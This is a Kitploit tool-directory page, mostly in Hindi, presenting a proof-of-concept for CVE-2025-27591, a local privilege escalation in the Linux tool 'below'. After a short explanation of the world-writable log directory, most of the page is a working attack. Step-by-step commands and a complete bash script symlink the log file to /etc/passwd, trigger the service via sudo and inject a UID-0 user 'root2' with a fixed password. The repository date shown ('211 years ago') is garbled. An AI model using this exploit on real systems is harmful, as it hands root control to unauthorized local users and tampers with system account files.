Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-27591-below- — `below` (CVE-2025-27591) के माध्यम से स्थानीय विशेषाधिकार वृद्धि - PoC एक्सप्लॉइट | Kitploit
उपकरण/GitHubGitHub/visaicyber/cve-2025-27591-below-
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगगलत कॉन्फ़िगरेशन
GitHubvisaicyber/cve-2025-27591-below-

CVE-2025-27591-below-

`below` (CVE-2025-27591) के माध्यम से स्थानीय विशेषाधिकार वृद्धि - PoC एक्सप्लॉइट

रिपॉजिटरी देखें
211 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-27591 – Below में विशेषाधिकार वृद्धि

1) परिचय

Below एक Linux टूल है जो हार्डवेयर उपयोग और cgroup मेट्रिक्स जैसे सिस्टम डेटा को रिकॉर्ड और प्रदर्शित करता है।

v0.9.0 से पहले के संस्करणों में, Below की systemd सेवा root विशेषाधिकारों के साथ चलती है और /var/log/below के अंतर्गत world-writable लॉग निर्देशिकाएँ और फ़ाइलें बनाती है। यह असुरक्षित कॉन्फ़िगरेशन सिम्लिंक हमलों को सक्षम बनाता है, जिनकी मदद से एक गैर-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता root तक विशेषाधिकार बढ़ा सकता है।

यह मुद्दा CVE-2025-27591 निर्धारित किया गया था।
अपस्ट्रीम ने इसे v0.9.0 में ठीक किया।


2) भेद्यता – /var/log/below में सिम्लिंक हमला

  • Below रनटाइम पर /var/log/below के लिए 0777 अनुमतियाँ सुनिश्चित करता है।
  • यह /var/log/below/error_root.log को 0666 अनुमतियों के साथ भी बनाता है।
  • चूँकि निर्देशिका world-writable है, एक हमलावर लॉग फ़ाइल को किसी भी संवेदनशील फ़ाइल (जैसे /etc/passwd) के सिम्लिंक से बदल सकता है।
  • जब Below root के रूप में लॉग लिखता है, तो वह इसके बजाय सिम्लिंक लक्ष्य पर लिखेगा, जिससे विशेषाधिकार वृद्धि संभव होती है।

यह व्यवहार कर्नेल के protected_symlinks हार्डनिंग को बायपास करता है क्योंकि sticky bit लागू नहीं होता है।


3) शोषण

error_root.log को /etc/passwd की ओर इंगित करके, हम ज्ञात पासवर्ड के साथ एक नया root उपयोगकर्ता इंजेक्ट कर सकते हैं।

चरण

चरण 1: /etc/passwd का बैकअप बनाएँ। सिस्टम फ़ाइलों को संशोधित करने से पहले हमेशा बैकअप लें:

root@kitploit:~
cp /etc/passwd /tmp/passwd.bak

चरण 2: एक दुर्भावनापूर्ण उपयोगकर्ता प्रविष्टि बनाएँ

root@kitploit:~
HASH=$(openssl passwd -6 'rooted123')
echo "root2:$HASH:0:0:root:/root:/bin/bash" > /tmp/payload

चरण 3: भेद्य लॉग को सिम्लिंक करें

root@kitploit:~
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log

चरण 4: लॉग निर्माण ट्रिगर करें

root@kitploit:~
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1

चरण 5: /etc/passwd को ओवरराइट करें

root@kitploit:~
cat /tmp/payload > /var/log/below/error_root.log

चरण 6: नए root उपयोगकर्ता पर स्विच करें

root@kitploit:~
su root2
# password: rooted123

4) प्रूफ ऑफ कॉन्सेप्ट (PoC): यह स्क्रिप्ट चलाएँ

root@kitploit:~
#!/bin/bash
# CVE-2025-27591 Exploit - Privilege Escalation via 'below'

TARGET="/etc/passwd"
LINK_PATH="/var/log/below/error_root.log"
TMP_PAYLOAD="/tmp/payload"
BACKUP="/tmp/passwd.bak"

echo "[*] CVE-2025-27591 Privilege Escalation Exploit"

# Check for sudo access to below
echo "[*] Checking sudo permissions..."
if ! sudo -l | grep -q '/usr/bin/below'; then
  echo "[!] 'below' is not available via sudo. Exiting."
  exit 1
fi

# Backup current /etc/passwd
echo "[*] Backing up /etc/passwd to $BACKUP"
cp /etc/passwd "$BACKUP"

# Generate password hash for 'root2' user (password: rooted123)
echo "[*] Generating password hash..."
HASH=$(openssl passwd -6 'rooted123')

# Prepare malicious passwd line
echo "[*] Creating malicious passwd line..."
echo "root2:$HASH:0:0:root:/root:/bin/bash" > "$TMP_PAYLOAD"

# Create symlink
echo "[*] Linking $LINK_PATH to $TARGET"
rm -f "$LINK_PATH"
ln -sf "$TARGET" "$LINK_PATH"

# Trigger log creation with invalid --time to force below to recreate the log
echo "[*] Triggering 'below' to write to symlinked log..."
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1

# Overwrite passwd file via symlink
echo "[*] Injecting malicious user into /etc/passwd"
cat "$TMP_PAYLOAD" > "$LINK_PATH"

# Test access
echo "[*] Try switching to 'root2' using password: rooted123"
su root2
CVE-2025-27591
टूल डाउनलोड करें